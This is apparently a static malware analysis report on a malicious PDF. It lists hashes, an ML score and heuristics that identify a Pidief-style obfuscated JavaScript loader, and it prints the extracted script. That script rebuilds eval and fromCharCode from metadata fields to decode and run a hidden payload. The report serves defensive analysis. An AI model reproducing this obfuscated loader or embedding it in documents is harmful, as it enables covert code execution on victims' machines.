Malicious PDF — malware analysis report

Static analysis result for SHA-256 933c19998aba4aef…

MALICIOUS

PDF

49.8 KB Authoring application: substr First seen: 2026-05-09
MD5: f267f44df9dcdbe47b9bf9e781a78d61 SHA-1: c4f910b9ddc7fd959f0ac2cdfa70f0c42c39403a SHA-256: 933c19998aba4aefab55346c9da9d9b67ff5056bdfc32f472bb493b0c76aed26
86 Risk Score

Malware Insights

The PDF document was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. While no specific malicious actions were detailed in the extracted document body, the presence of JavaScript within a PDF commonly indicates an attempt to execute arbitrary code or exploit a vulnerability. The ML_NYX_PDF_MALICIOUS heuristic strongly suggests malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xC496 489 bytes
SHA-256: 19d105ce645920f83174c87e1c3f529f4f5b97cb89ae18049b811e1804605b06
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
dxxf=e(v[4]+'i'.concat(v[4],t));
q=dxxf[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
ufgld=e(e('d'));
sub=v[0];
sub+='ubject';
q=dxxf[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	oij = 1*(q[i]);
	i++;
	oij -= (-1)*(q[i]);
	s2 += ufgld(oij);
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.